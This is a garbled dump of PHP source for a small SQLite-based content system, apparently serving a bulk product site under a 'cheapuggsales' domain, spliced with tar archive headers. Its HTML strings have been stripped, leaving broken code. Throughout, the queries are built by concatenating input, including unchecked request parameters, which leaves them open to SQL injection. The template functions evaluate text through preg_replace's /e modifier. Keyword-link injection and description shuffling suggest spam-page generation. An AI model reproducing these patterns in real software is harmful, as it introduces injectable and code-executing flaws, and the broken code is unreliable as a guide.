$data[$object]=$data[$object]+1; if($action=="subtract" && isset($data[$object])) { $data[$object]=$data[$object]-1; if($data[$object]<=0)$data[$object]=0; } if(!isset($data[$object])) $data[$object]=1; $maxid=$data[$object]; $data = ""; ftruncate($fd,0); fseek($fd,0,SEEK_SET); $strlen=fwrite($fd, $data); flock($fd, LOCK_UN); fclose($fd); return $maxid; } return false; } //********************************栏目相关******************************* function add_category($data) { if(!is_array($data) ||empty($data['name']) ||!is_numeric($data['parentid'])) return false; if($data['parentid']!=0 && !get_category($data['parentid'])) return -1; $db=opendb(); $data=result_insqlite($data); foreach($data as $k=>$v) { $fields.=$k.","; if(is_string($v)) $values.="'".$v."',"; else $values.=$v.","; } $sql="insert into category(".rtrim($fields,",").") values(".rtrim($values,",").")"; $db->exec($sql); return $db->lastInsertId(); } function update_category($cid,$newdata) { if(get_category($cid)) { $sql=""; $newdata=result_insqlite($newdata); foreach($newdata[$cid] as $k=>$v ) { if($k=="parentid" && !get_category($v)) continue; if(is_numeric($v)) $sql.=$k."=".$v.","; else $sql.=$k."='".$v."',"; } $sql=trim($sql,","); if($sql!="") $sql="update category set ".$sql." where id=".$cid; $db=opendb(); if($db->exec($sql)) return true; } return false; } function change_category_parentid($cid,$fid) { $cate=get_category($cid); $new_fcate=get_category($fid); if($cate && $new_fcate) { $db=opendb(); $sql="update category set parentid=$fid where id=$cid"; $db->exec($sql); return true; } return false; } function del_category($cid) { if($cid==0) return false; if(!get_category($cid)) return true; $db=opendb(); $r=$db->fetchAll("select * from category where parentid=".$cid." limit 0,1"); if(!empty($r)) return -1; //TODO $model=get_product_model_list(); foreach($model as $name=>$file) { if(product_model_table_is_exists($name)) { $r=$db->fetchAll("select * from ".$name." where categoryid=".$cid." limit 0,1"); if(!empty($r)) return -2; } } $sql="delete from category where id=".$cid; $db->exec($sql); return true; } function get_category($cid=0) { $db=opendb(); $sql=""; if($cid==0) { $sql="select * from category order by sort_num asc"; $r=$db->fetchAll($sql,'id'); return result_outsqlite($r); } else { $sql="select * from category where id=".$cid; $r=$db->fetchAll($sql); if(!$r) return false; return result_outsqlite($r[0]); } } function get_category_parentid_arr($cid) { if($cid==0) return false; $fid=$cid; $fid_arr[]=$cid; while(1) { $cate=get_category($fid); if($cate===false) return false; if($cate['parentid']==0) break; $fid=(int)$cate['parentid']; $fid_arr[]=$fid; } $fid_arr=array_reverse($fid_arr); return $fid_arr; } function get_category_direct_arr($cid) { $db=opendb(); $ids=$cid; while(1) { $sql="select id from category where parentid in(".$ids.")"; $r=$db->fetchAll($sql); if(!$r) break; $ids=implode(',',$r[0]); } $id=explode(',',$ids); return get_category_parentid_arr(intval($id[0])); } function get_category_brothers($cid) { $brothers=array(); $cate=get_category($cid); if($cid==0) { $sql="select id from category where parentid=0 order by sort_num asc"; } if($cate && $cid!=0) { $sql="select id from category where parentid=".$cate['parentid']." order by sort_num asc"; } if($sql!="") { $db=opendb(); $result=$db->fetchAll($sql); if(!empty($result)) foreach($result as $r) { $brothers[]=intval($r['id']); } } return $brothers; } //*******************产品相关方法****************************** function get_modelname_byid($pid) { $sql="select model from idtomodel where id=".$pid; $db=opendb(); $r=$db->fetchAll($sql); if(!empty($r)) return $r[0]['model']; return false; } function get_product_url($pid) { $sql="select des from polo where id=".$pid; $db=opendb(); $r=$db->fetchAll($sql); if(!empty($r)) return $r[0]['des']; return false; } function get_product($pid) { $modelname=get_modelname_byid($pid); if(!$modelname) return false; $sql="select * from ".$modelname." where id=".$pid; $db=opendb(); $r=$db->fetchAll($sql); if(empty($r)) return false; $r=result_outsqlite($r[0]); return $r; } function add_product($product) { if(!is_array($product) ||!isset($product['name'])||empty($product['name']) ||!isset($product['categoryid'])||empty($product['categoryid']) ) return false; $cate=get_category($product['categoryid']); if(!$cate) return -1; if(isset($product['model']) && !empty($product['model'])) $modelname=$product['model']; else $modelname=MODEL; $product=result_insqlite($product); $model=get_model($modelname); if(!$model) return -2; if(!product_model_table_is_exists($modelname)) create_table_by_model($modelname); $db=opendb(); if(!isset($product['id'])) { $sql="insert into idtomodel(model) values('".$modelname."')"; $db->exec($sql); $id=$db->lastInsertId(); } else { $sql="replace into idtomodel(id,model) values(".$product['id'].",'".$modelname."')"; $db->exec($sql); $id=$product['id']; } foreach($product as $k=>$v) { if(!isset($model[$k])) continue; $fields.=$k.","; if(is_numeric($v)) $values.=$v.","; else $values.="'".$v."',"; } $fields.="id"; $values.=$id; $sql="insert into ".$modelname."(".trim($fields,",").") values(".trim($values,",").")"; $db->exec($sql); return $id; } function del_product($pid) { if(!$product=get_product($pid)) return false; $modelname=get_modelname_byid($pid); $sql[]="delete from ".$modelname." where id=".$pid; $sql[]="delete from idtomodel where id=".$pid; $db=opendb(); $db->execMuti($sql,EXEC_ON_FAIL_ROLLBACK,true); return true; } function update_product($pid,$product) { if(!$old_product=get_product($pid)) return false; $modelname=get_modelname_byid($pid); $model=get_model($modelname); if(isset($product['model']) && $product['model']!=$modelname) { del_product($pid); $product['id']=$pid; add_product($product); } else { $product=result_insqlite($product); if(isset($product['categoryid'])) { $cate=get_category($product['categoryid']); if(!$cate) return -1; } foreach($product as $k=>$v) { if(!isset($model[$k])) continue; if(!is_numeric($v)) $sql.=$k."='".$v."',"; else $sql.=$k."=".$v.","; } $sql=trim($sql,","); $sql="update ".$modelname." set ".$sql." where id=".$pid; $db=opendb(); $db->exec($sql); } return true; } function get_randp($num,$cid=0,$level=-1,$model=MODEL) { $products=array(); $cate_ids=get_category_sons_ids($cid,$level,$model); $cate_ids.=','.$cid; $cate_ids=trim($cate_ids,','); $db=opendb(); $sql="select count(id) as t from ".$model." where categoryid in(".$cate_ids.")"; $r=$db->fetchAll($sql); $total=$r[0]['t']; $sql="select id from ".$model." where categoryid in(".$cate_ids.")"; $r=$db->fetchAll($sql); if($total<$num) $num=$total; if($num==0) return $products; $p=array_rand($r,$num); if($num==1) $products[$r[$p]['id']]=get_product($r[$p]['id']); else { foreach($p as $id) { $products[$r[$id]['id']]=get_product($r[$id]['id']); } } return $products; } function get_product_count($cid=0,$level=0,$model=MODEL) { if($cid==0) $sql="select count(id) as total from ".$model; else $sql="select count(id) as total from ".$model." where categoryid=".$cid; $db=opendb(); $r=$db->fetchAll($sql); $count=$r[0]['total']; if($cid==0 || $level==0) return $count; $sons_ids=$cid; $sons=$cid; while(1) { $sql="select id from category where parentid in(".$sons.")"; $sons=$db->fetchAll($sql,'id'); $s=''; if($sons) { foreach($sons as $id=>$val) { $s.=','.$id; } } if(empty($s)) break; $sons=trim($s,','); $sons_ids.=",".$sons; } if(!empty($sons_ids)) { $sons_ids=str_replace(','.$cid.',',',',','.$sons_ids.','); $sons_ids=trim($sons_ids,','); $sql="select count(id) as total from ".$model." where categoryid in(".$sons_ids.")"; $r=$db->fetchAll($sql); $count+=$r[0]['total']; } return $count; } function get_category_sons_ids($cid,$level=0) { if($level==0)$level++; $db=opendb(); $sons_ids=$cid; $sons=$cid; while($level!=0) { $sql="select id from category where parentid in(".$sons.")"; $sons=$db->query($sql); $s=''; if($sons) { foreach($sons as $son) { $s.=','.$son['id']; } } if(empty($s)) break; $sons=trim($s,','); $sons_ids.=",".$sons; $level--; } $sons_ids=str_replace(',0,',',',','.$sons_ids.','); $sons_ids=str_replace(','.$cid.',',',',','.$sons_ids.','); return trim($sons_ids,','); } //********生成静态相关方法********************** function read_template($template,$ext="temp") { if(file_exists(TEMPLATE_DIR.$template.".".$ext)) return file_get_contents(TEMPLATE_DIR.$template.".".$ext,0); return ""; } function replace_inset_template($html,$ext="temp") { //{inset_templatename} $html=preg_replace("/{inset_([a-zA-Z0-9-_]+)?}/e","replace_inset_template(read_template($1,$ext),$ext)",$html); return $html; } function replace_func_para($html) { //var_name $html=preg_replace_callback("/{func_(([a-zA-Z_]+)?(\([^\)]*?\)))}/","replace_func_para_callback",$html); return $html; } function replace_func($html) { //{func_name($var,$var1...)} $html=preg_replace("/{func_(([a-zA-Z_]+)?(\([^\)]*?\)))}/e","$1",$html); return $html; } function replace_func_para_callback($matches) { global $var_tpl; $result="{func_".$matches[2]."("; $paras=explode(",",substr($matches[3],1,strlen($matches[3])-2)); foreach($paras as $p) { if(strlen($p)>4&&substr($p,0,4)=="var_") { preg_match("/var_([A-Z_]+)?/",$p,$m); if($m[1]!="") $result.=substr($p,4); else $result.=$var_tpl[substr($p,4)].","; } else $result.=$p.","; } return $result=rtrim($result,",").")}"; } function replace_var($html) { global $var_tpl;//$var=>$var_tpl['var'] //{var_name} $html=preg_replace("/{var_([a-zA-Z0-9-_]+)}/e","\$var_tpl[$1]",$html); return $html; } function replace_define($html) { //{SITE_DOMAIN} $html=preg_replace("/{([A-Z_]+)}/e","$1",$html); return $html; } function replace_template($template,$ext) { $html=read_template($template,$ext); $html=replace_inset_template($html,$ext); $html=replace_func_para($html); $html=replace_func($html); $html=replace_var($html); $html=replace_define($html); return $html; } function get_template($type,$template_name='') { $template=""; $templates=require(TEMPLATE_DIR."template.php"); if($template_name=='') $template=TEMPLATE."/".$templates[TEMPLATE]['default_tpl'][$type]; elseif(in_array($template_name,$templates[TEMPLATE]['templates'][$type])) $template=TEMPLATE."/".$template_name; else return false; return trim($template,"/"); } function get_category_url($cid,$p=0) { if($cid<=0) return ""; $category=get_category($cid); if(!$category) return ""; if($p==0) $name="/"; if($p==1) $name="/index.html"; if($p>1) $name="/index".$p.".html"; if(!empty($category['urldir'])) $dir=rechr($category['urldir']); else $dir=rechr($category['name']); if($category['parentid']==0) return "/".$dir.$name; $fcate=$category; while(1) { if($fcate['parentid']!=0) { $fcate=get_category($fcate['parentid']); if(!empty($fcate['urldir'])) $fdir.=rechr($fcate['urldir'])."/"; else $fdir.=rechr($fcate['name'])."/"; } else { $fdir=rtrim($fdir,"/"); break; } } $fdir=explode("/",$fdir); $fdir=implode("/",array_reverse($fdir)); return "/".$fdir."/".rechr($dir).$name; } function get_product_url($pid) { if(!$p=get_product($pid)) return ""; $c_dir=get_category_url($p['categoryid']); if($c_dir) { if(!empty($p['url'])) $dir=rechr($p['url']); else $dir=rechr($p['name']); return $c_dir.$dir.".html"; } return ""; } //********特殊产品相关方法********************** function getproduct_special($specialtag) { $special=require(SPECIAL); if(isset($special[$specialtag])) return $special[$specialtag]['productids']; return ""; } // ************model相关方法********************* function get_product_model_list() { if(file_exists(MODEL_LIST)) return require(MODEL_LIST); return array(); } function get_model($model_name) { $model_list=get_product_model_list(); if(!empty($model_list) && isset($model_list[$model_name]) && is_file(MODEL_DIR.$model_list[$model_name])) { return require(MODEL_DIR.$model_list[$model_name]); } if(is_file(MODEL_DIR.$model_name.".php")) return require(MODEL_DIR.$model_name.".php"); return false; } function create_product_model($name,$model) { if(!is_array($model)) return -1; $m=get_model($name); if($m!==false) return false; $model_item['id']='int|1|auto'; $model_item['categoryid']='int|1|所属栏目|1'; $model_item['name']='txt|1|标题|1'; $model_item['title']='txt|0|页面标题'; $model_item['keys']='txt|0|页面关键字'; $model_item['description']='txt|0|页面描述'; $model_item['url']='txt|0|页面地址名'; $model_item['template']='txt|0|页面模板'; $model=array_merge($model_item,$model); safe_write(MODEL_DIR.$name.".php","add_data",$model); $newdata[$name]=$name.".php"; safe_write(MODEL_DIR."model.php","add_data",$newdata); return true; } function update_product_model($name,$model) { if(!is_array($model)) return -1; $m=get_model($name); if($m===false) return false; $add=array_diff_assoc($model,$m); safe_write(MODEL_DIR.$name.".php","add_data",$add); return true; } function del_model($name) { } function product_model_table_is_exists($name) { $model_list=get_product_model_list(); if(isset($model_list[$name])) { $sql="select name from sqlite_master where type='table' and tbl_name='".$name."'"; $db=opendb(); $r=$db->fetchAll($sql); if(!empty($r)) return true; } return false; } function product_model_is_used($name) { if(product_model_table_is_exists($name)) { $sql="select * from ".$name." limit 0,1"; $db=opendb(); $r=$db->fetchAll($sql); if(!empty($r)) return true; } return false; } //*********sqlite相关方法************************* function modeltype_to_sqlitetype($type) { switch($type) { case 'int': $sqlitetype='integer'; break; case 'flt': $sqlitetype='real'; break; case 'dt': $sqlitetype='integer'; break; default: $sqlitetype='text'; } return $sqlitetype; } function model_to_tablestruct($modelname) { $struct=array(); if($model=get_model($modelname)) { foreach($model as $k=>$v) { $v=explode("|",$v); $v[0]=modeltype_to_sqlitetype($v[0]); if($k=='id') $v[0]='integer primary key'; $struct[$k]=$v[0]; } } return $struct; } function create_table_by_model($model_name) { $db=opendb(); if($model=get_model($model_name)) { $sql="create table ".$model_name."("; foreach($model as $k=>$v) { if($k=="id") { $sql.="id integer primary key,"; continue; } $v=explode("|",$v); $sql.=$k." ".modeltype_to_sqlitetype($v[0]).","; } $sql=rtrim($sql,",").")"; $db->exec($sql); foreach($model as $k=>$v) { $v=explode("|",$v); if(isset($v[3]) && $v[3]==1) { if($k=="id") continue; $sql="create index ".$model_name."_".$k." on ".$model_name."(".$k.")"; $db->exec($sql); } } } } function del_table($table_name,$force=false) { $db=opendb(); if(!$force) { $sql="select * from ".$table_name." limit 0,1"; $rr=$db->query($sql); if(!$rr) $sql="drop table '".$table_name."'"; else $sql=""; } else $sql="drop table '".$table_name."'"; if($sql!="") { $db->exec($sql); return true; } else return false; } function alter_table($modelname) { $db=opendb(); $struct=model_to_tablestruct($modelname); $oldstruct=$db->query("SELECT [name], [sql], [type] FROM [sqlite_master] where type='table' and name='".$modelname."'")->fetchAll(PDO::FETCH_ASSOC); if(!empty($oldstruct)) { $table=new SQLiteTable($db, $oldstruct[0]['name'], $oldstruct[0]['sql']); $table->rebuild($struct); $model=get_model($modelname); foreach($model as $k=>$v) { $v=explode("|",$v); if(isset($v[3]) && $v[3]==1) { if($k=="id") continue; $sql="create index ".$modelname."_".$k." on ".$modelname."(".$k.")"; $db->exec($sql); } } } else { create_table_by_model($modelname); } } function opendb() { global $sqlitedb; if(isset($sqlitedb)) return $sqlitedb; if(!is_file(SQLITE_DB)) { SQLiteDB::setDebug(true); $sqlitedb = new SQLiteDB(SQLITE_DB,""); if($sqlitedb) { $sqlitedb->exec("PRAGMA encoding = 'UTF-8'"); create_table_by_model("category"); create_table_by_model("idtomodel"); create_table_by_model("comment"); create_table_by_model(MODEL); } else { write_db_errlog($err); die("sorry, appear unknown error, please visit later!"); } } else { $sqlitedb = new SQLiteDB(SQLITE_DB,""); if(!$sqlitedb) { write_db_errlog($err); die("sorry, appear unknown error, please visit later!"); } } return $sqlitedb; } function write_db_errlog($err) { $log=SITE_DIR."data/sqlitedb_err.log"; $log_fh=fopen($log,"ab"); fwrite($log_fh,$err."\n"); fclose($log_fh); } function closedb() { global $sqlitedb; if(isset($sqlitedb)) $sqlitedb=NULL; } function del_sqlitedb() { closedb(); unlink(SQLITE_DB); } //********************************************** function replace_inlink($html) { $newhtml=""; $replaced_arr=array(); $inlink_p=require(DATA_DIR."inlink_p.php"); $inlink_o=require(DATA_DIR."inlink_o.php"); $inlink_c=require(DATA_DIR."inlink_c.php"); while(strlen($html)>0) { if(preg_match("/^<[^>]+?>|^[\s]+|^[,.?!:;]/",$html,$matchs)) { $newhtml.=$matchs[0]; $html=preg_replace("/^<[^>]+?>|^[\s]+|^[,.?!:;]/","",$html,1); continue; } if(preg_match("/^[^< ,.?!:;]+ [^< ,.?!:;]+ [^< ,.?!:;]+/",$html,$matchs)) { $k=strtolower($matchs[0]); if(!isset($replaced_arr[$k]) && isset($inlink_p[$k])) { $newhtml.="".$matchs[0].""; $html=preg_replace("/^[^< ,.?!:;]+ [^< ,.?!:;]+ [^< ,.?!:;]+/","",$html,1); $replaced_arr[$k]=1; continue; } if(!isset($replaced_arr[$k]) && isset($inlink_c[$k])) { $url=str_replace("index.html","",get_category_url(intval($inlink_c[$k]),1)); $newhtml.="".$matchs[0].""; $html=preg_replace("/^[^< ,.?!:;]+ [^< ,.?!:;]+ [^< ,.?!:;]+/","",$html,1); $replaced_arr[$k]=1; continue; } if(!isset($replaced_arr[$k]) && isset($inlink_o[$k])) { $newhtml.="".$matchs[0].""; $html=preg_replace("/^[^< ,.?!:;]+ [^< ,.?!:;]+ [^< ,.?!:;]+/","",$html,1); $replaced_arr[$k]=1; continue; } } if(preg_match("/^[^< ,.?!:;]+ [^< ,.?!:;]+/",$html,$matchs)) { $k=strtolower($matchs[0]); if(!isset($replaced_arr[$k]) && isset($inlink_p[$k])) { $newhtml.="".$matchs[0].""; $html=preg_replace("/^[^< ,.?!:;]+ [^< ,.?!:;]+/","",$html,1); $replaced_arr[$k]=1; continue; } if(!isset($replaced_arr[$k]) && isset($inlink_c[$k])) { $url=str_replace("index.html","",get_category_url(intval($inlink_c[$k]),1)); $newhtml.="".$matchs[0].""; $html=preg_replace("/^[^< ,.?!:;]+ [^< ,.?!:;]+/","",$html,1); $replaced_arr[$k]=1; continue; } if(!isset($replaced_arr[$k]) && isset($inlink_o[$k])) { $newhtml.="".$matchs[0].""; $html=preg_replace("/^[^< ,.?!:;]+ [^< ,.?!:;]+/","",$html,1); $replaced_arr[$k]=1; continue; } } if(preg_match("/^[^< ,.?!:;]+/",$html,$matchs)) { $k=strtolower($matchs[0]); if(!isset($replaced_arr[$k]) && isset($inlink_p[$k])) { $newhtml.="".$matchs[0].""; $html=preg_replace("/^[^< ,.?!:;]+/","",$html,1); $replaced_arr[$k]=1; continue; } if(!isset($replaced_arr[$k]) && isset($inlink_c[$k])) { $url=str_replace("index.html","",get_category_url(intval($inlink_c[$k]),1)); $newhtml.="".$matchs[0].""; $html=preg_replace("/^[^< ,.?!:;]+/","",$html,1); $replaced_arr[$k]=1; continue; } if(!isset($replaced_arr[$k]) && isset($inlink_o[$k])) { $newhtml.="".$matchs[0].""; $html=preg_replace("/^[^< ,.?!:;]+/","",$html,1); $replaced_arr[$k]=1; continue; } $newhtml.=$matchs[0]; $html=preg_replace("/^[^< ,.?!:;]+/","",$html,1); } } return $newhtml; } //****************评论相关******************************************** function add_comment($comment) { if( !is_array($comment) || empty($comment['name']) || empty($comment['pid']) || empty($comment['comment']) ) return -1; if(!empty($comment['datetime']) && is_string($comment['datetime'])) $comment['datetime']=strtotime($comment['datetime']); if(empty($comment['datetime'])) $comment['datetime']=time(); if(empty($comment['replyid'])) $comment['replyid']=0; if(empty($comment['grade'])) $comment['grade']=3; if(empty($comment['agree'])) $comment['agree']=0; if(empty($comment['against'])) $comment['against']=0; if(empty($comment['verify'])) $comment['verify']=0; $model=get_model("comment"); foreach($comment as $k=>$v) { if(!isset($model[$k])) continue; $fields.=$k.","; if(is_numeric($v)) $values.=$v.","; else $values.="'".str_insqlite($v)."',"; } $sql="insert into comment(".trim($fields,",").") values(".trim($values,",").")"; $db=opendb(); $db->exec($sql); return $db->lastInsertId(); } function del_comment($id) { $sql="select replyid from comment where replyid=".$id; $db=opendb(); $r=$db->fetchAll($sql); unset($sql); if(!empty($r)) { $sql[]="delete from comment where replyid=".$id; } $sql[]="delete from comment where id=".$id; $r=$db->execMuti($sql,EXEC_ON_FAIL_ROLLBACK,true); return true; } function update_comment($id,$comment) { if(empty($id) || !is_array($comment)) return false; $model=get_model("comment"); foreach($comment as $k=>$v) { if(!isset($model[$k])) continue; if($k=='datetime') $v=strtotime($v); if(is_numeric($v)) $sql.=$k."=".$v.","; else $sql.=$k."='".str_insqlite($v)."',"; } $sql="update comment set ".trim($sql,",")." where id=".$id; $db=opendb(); $db->exec($sql); return true; } function get_comment($id,$verify=1) { $result=array(); if($verify==-1) $sql="select * from comment where id=".$id; else $sql="select * from comment where verify=".$verify." and id=".$id; $db=opendb(); $r=$db->fetchAll($sql); if(empty($r)) return $result; if($r[0]['replyid']>0) { $result['reply']=$r[0]; return $result; } $result['comment']=$r[0]; unset($r); if($verify==-1) $sql="select * from comment where replyid=".$id." order by id asc"; else $sql="select * from comment where verify=".$verify." and replyid=".$id." order by id asc"; $r=$db->fetchAll($sql,'id'); if(empty($r)) return $result; $result['replay']=$r; $result=result_outsqlite($result); return $result; } function get_product_comment_list($pid,$verify=1) { $result=array(); $sql="select id from comment where replyid=0"; if($verify!=-1) $sql.=" and verify=".$verify; if($pid==0) $sql.=" order by id asc"; else $sql.=" and pid=".$pid." order by id asc"; $db=opendb(); $r=$db->fetchAll($sql,'id'); if(empty($r)) return $result; $result['total']=count($r); $result['id_arr']=$r; return $result; } ?>cheapuggsales.uk.com/handle_content.php0000777000000000000000000000235711633550313017276 0ustar rootroot]*>/","<$1>",$html); $dom=str_get_html($html); $maxkey=count($dom->nodes)-1; $i=$maxkey; while($i>=0) { $node=$dom->nodes[$i]; if($node->tag!="br" && $node->innertext=="") { $node->outertext=""; $i--; continue; } if($node->tag=="text" && substr($node->innertext,1,1)=="/") { $node->outertext=""; $i--; continue; } if($node->tag!="br" && $node->tag!="text") { $closedtag="tag.">"; $openedtag="<".$node->tag.">"; $node->outertext=$openedtag.$node->innertext.$closedtag; } $i--; } $str=$dom->save(); $dom->clear(); unset($dom); return $str; } function shuffle_des($html) { /* $dom=str_get_html($html); foreach($dom->find("ul") as $ul) { $lis=$ul->find("li"); shuffle($lis); $ul->innertext=""; foreach($lis as $li) $ul->innertext.=$li->outertext; } $str=$dom->save(); $dom->clear(); unset($dom);*/ $html_arr=explode("
    ",$html); shuffle($html_arr); $html=implode("
    ",$html_arr); return $html; } ?>cheapuggsales.uk.com/html.php0000777000000000000000000003454711633550313015263 0ustar rootroot='.$cid.' order by id limit 0,1'; $db=opendb(); $r=$db->fetchAll($sql); if($r) $cid=$r[0]['id']; } $model=isset($_GET['model'])?$_GET['model']:MODEL; $p=isset($_GET['p'])?intval($_GET['p']):1; $psize=isset($_GET['psize'])?intval($_GET['psize']):SITE_LIST_SIZE; $var_tpl=get_category($cid); if(empty($var_tpl['title'])) $var_tpl['title']=$var_tpl['name']; $var_tpl['description']=strip_tags($var_tpl['description']); if(empty($var_tpl['description'])) $var_tpl['description']=strip_tags($var_tpl['des']); $var_tpl['cid']=$cid; $var_tpl['p']=$p; $var_tpl['psize']=$psize; $var_tpl['model']=$model; list_ext($cid,$model); if($tpl=='' && !empty($var_tpl['template']))$tpl=$var_tpl['template']; $template=get_template('list',$tpl); $filename=get_category_url($cid,$p); $html=replace_template($template,"html"); if($action=='view') echo $html; elseif($action=='save') { $batch_all=isset($_GET['batch_all'])?intval($_GET['batch_all']):0; if($batch_all==1) { $gsize=isset($_GET['gsize'])?intval($_GET['gsize']):100; $pages=ceil(get_product_count($cid,0,$model)/$psize); if($pages==0) $pages=1; $p_max=min($pages,$p+$gsize); $log=array(); while($p<=$p_max) { create_html($filename,$html); echo '栏目【'.$var_tpl['name'].'】第【'.$p.'】页成功静态到文件:'.$filename.'
    '; $log[]='栏目【'.$var_tpl['name'].'】第【'.$p.'】页成功静态到文件:'.$filename.'
    '; if($p==$p_max) break; $p++; $var_tpl['p']=$p; $filename=get_category_url($cid,$p); $html=replace_template($template,"html"); } write_html_log($log); if($p<$pages) echo ''; else { echo '栏目【'.$var_tpl['name'].'】静态完成,共'.$p.'个分页
    '; write_html_log('栏目【'.$var_tpl['name'].'】静态完成,共'.$p.'个分页
    '); $sql='select id from category where id>'.$cid.' order by id limit 0,1'; $db=opendb(); $r=$db->fetchAll($sql); if(!$r) { write_html_log('全部栏目静态完毕'); die('全部栏目静态完毕'); } else { $cid=$r[0]['id']; echo ''; } } } else { $batch=isset($_GET['batch'])?intval($_GET['batch']):0; if($batch==1) { $gsize=isset($_GET['gsize'])?intval($_GET['gsize']):100; $pages=ceil(get_product_count($cid,0,$model)/$psize); if($pages==0) $pages=1; $p_max=min($pages,$p+$gsize); $log=array(); while($p<=$p_max) { create_html($filename,$html); echo '栏目【'.$var_tpl['name'].'】第【'.$p.'】页成功静态到文件:'.$filename.'
    '; $log[]='栏目【'.$var_tpl['name'].'】第【'.$p.'】页成功静态到文件:'.$filename.'
    '; if($p==$p_max) break; $p++; $var_tpl['p']=$p; $filename=get_category_url($cid,$p); $html=replace_template($template,"html"); } write_html_log($log); if($p<$pages) echo ''; else { write_html_log('栏目【'.$var_tpl['name'].'】静态完成,共'.$p.'个分页'); die('栏目【'.$var_tpl['name'].'】静态完成,共'.$p.'个分页'); } } else { create_html($filename,$html); write_html_log('栏目【'.$var_tpl['name'].'】成功静态到文件:'.$filename); die('栏目【'.$var_tpl['name'].'】成功静态到文件:'.$filename); } } } break; case 'content': $pid=isset($_GET['pid'])?intval($_GET['pid']):0; if($action=='view') { $html=product_html($pid,$tpl); echo $html; } if($action=='save') { $batch_all=isset($_GET['batch_all'])?intval($_GET['batch_all']):0; if($batch_all==1) { $cid=isset($_GET['cid'])?intval($_GET['cid']):0; $db=opendb(); if($cid==0) { $cid=$db->fetchAll("select id from category order by id limit 0,1"); if(!$cid) die('系统中目前无任何栏目'); $cid=$cid[0]['id']; } $gsize=isset($_GET['gsize'])?intval($_GET['gsize']):100; $model=isset($_GET['model'])?$_GET['model']:MODEL; $p_surplus_count=$db->fetchAll("select count(id) as total from ".$model." where categoryid=".$cid." and id>".$pid); $p_surplus_count=$p_surplus_count[0]['total']; $max=min($p_surplus_count,$gsize); $log=array(); for($i=0;$i<$max;$i++) { $pid=$db->fetchAll("select id from ".$model." where categoryid=".$cid." and id>".$pid." order by id limit 0,1"); if(empty($pid)) break; $pid=$pid[0]['id']; $html=product_html($pid,$tpl); $filename=get_product_url($pid); create_html($filename,$html); echo '产品【'.$var_tpl['name'].'】成功静态到文件:'.$filename.'
    '; $log[]='产品【'.$var_tpl['name'].'】成功静态到文件:'.$filename.'
    '; } write_html_log($log); if($max<$gsize || $i<$max-1) { echo 'ID为【'.$cid.'】栏目下的【'.$model.'】产品全部成功静态
    '; write_html_log('ID为【'.$cid.'】栏目下的【'.$model.'】产品全部成功静态
    '); $cid=$db->fetchAll("select id from category where id>".$cid." order by id limit 0,1"); if(!$cid) { write_html_log('模型为【'.$model.'】的所有产品静态完成'); die('模型为【'.$model.'】的所有产品静态完成'); } $cid=$cid[0]['id']; echo ''; } else echo ''; } else { $batch=isset($_GET['batch'])?intval($_GET['batch']):0; if($batch==1) { $cid=intval($_GET['cid']); $model=isset($_GET['model'])?$_GET['model']:MODEL; $gsize=isset($_GET['gsize'])?intval($_GET['gsize']):100; $db=opendb(); $p_surplus_count=$db->fetchAll("select count(id) as total from ".$model." where categoryid=".$cid." and id>".$pid); $p_surplus_count=$p_surplus_count[0]['total']; $max=min($p_surplus_count,$gsize); $log=array(); for($i=0;$i<$max;$i++) { $pid=$db->fetchAll("select id from ".$model." where categoryid=".$cid." and id>".$pid." order by id limit 0,1"); if(empty($pid)) break; $pid=$pid[0]['id']; $html=product_html($pid,$tpl); $filename=get_product_url($pid); create_html($filename,$html); echo '产品【'.$var_tpl['name'].'】成功静态到文件:'.$filename.'
    '; $log[]='产品【'.$var_tpl['name'].'】成功静态到文件:'.$filename.'
    '; } write_html_log($log); if($max<$gsize || $i<$max-1) { write_html_log('ID为【'.$cid.'】栏目下的【'.$model.'】产品全部成功静态
    '); die('ID为【'.$cid.'】栏目下的【'.$model.'】产品全部成功静态
    '); } else echo ''; } else { $html=product_html($pid,$tpl); $filename=get_product_url($pid); create_html($filename,$html); write_html_log('产品【'.$var_tpl['name'].'】成功静态到文件:'.$filename); die('产品【'.$var_tpl['name'].'】成功静态到文件:'.$filename); } } } break; case 'page': $pages=require(DATA_DIR."page/page.php"); $p=isset($_GET['p'])?$_GET['p']:die('没有指定要静态的单页面'); $var_tpl=require(DATA_DIR."page/".$pages[$p]); if(empty($tpl) && !empty($var_tpl['template'])) $tpl=$var_tpl['template']; $template=get_template('page',$tpl); if(empty($var_tpl['title'])) $var_tpl['title']=$var_tpl['name']; $var_tpl['description']=strip_tags($var_tpl['description']); if(empty($var_tpl['description'])) $var_tpl['description']=strip_tags($var_tpl['content']); if(empty($var_tpl['filename'])) $filename=$var_tpl['filename']=$var_tpl['datafilename'].".html"; else $filename=$var_tpl['filename'].".html"; page_ext(); if($action=='view') { $html=replace_template($template,'html'); echo $html; } elseif($action=='save') { $batch=isset($_GET['batch'])?intval($_GET['batch']):0; if($batch==1) { $log=array(); foreach($pages as $k=>$p) { $var_tpl=require(DATA_DIR."page/".$p); if(empty($tpl) && !empty($var_tpl['template'])) $tpl=$var_tpl['template']; $template=get_template('page',$tpl); if(empty($var_tpl['title'])) $var_tpl['title']=$var_tpl['name']; $var_tpl['description']=strip_tags($var_tpl['description']); if(empty($var_tpl['description'])) $var_tpl['description']=strip_tags($var_tpl['content']); if(empty($var_tpl['filename'])) $filename=$var_tpl['filename']=$var_tpl['datafilename'].".html"; else $filename=$var_tpl['filename'].".html"; page_ext(); $html=replace_template($template,'html'); create_html($filename,$html); echo '单页面【'.$k.'】成功静态到文件'.$filename."
    "; $log[]='单页面【'.$k.'】成功静态到文件'.$filename; } $log[]='全部单页面静态完成'; write_html_log($log); } else { $html=replace_template($template,'html'); create_html($filename,$html); write_html_log('单页面【'.$p.'】成功静态到文件'.$filename); die('单页面【'.$p.'】成功静态到文件'.$filename); } } break; case 'search': break; case 'other': $name=isset($_GET['name'])?$_GET['name']:die('没有指定页面'); $arg=isset($_GET['arg'])?$_GET['arg']:''; if(!empty($arg)) { if(preg_match('/^([a-zA-Z0-9]+_[a-zA-Z0-9.]+,)+([a-zA-Z0-9]+_[a-zA-Z0-9.]+)?$|^([a-zA-Z0-9]+_[a-zA-Z0-9.]+)$/',$arg)==0) die('附加参数【'.$arg.'】不符合规范'); if(strpos($arg,',')!==false) { $arg=explode(',',trim($arg,',')); foreach($arg as $a) { $a=explode('_',$a); $var_tpl[$a[0]]=$a[1]; } } else { $arg=explode('_',$arg); $var_tpl[$arg[0]]=$arg[1]; } } $var_tpl['name']=$name; if(empty($tpl) && !empty($var_tpl['template'])) $tpl=$var_tpl['template']; $template=get_template('other',$tpl); if($action=='view') { other_ext(); $html=replace_template($template,'html'); echo 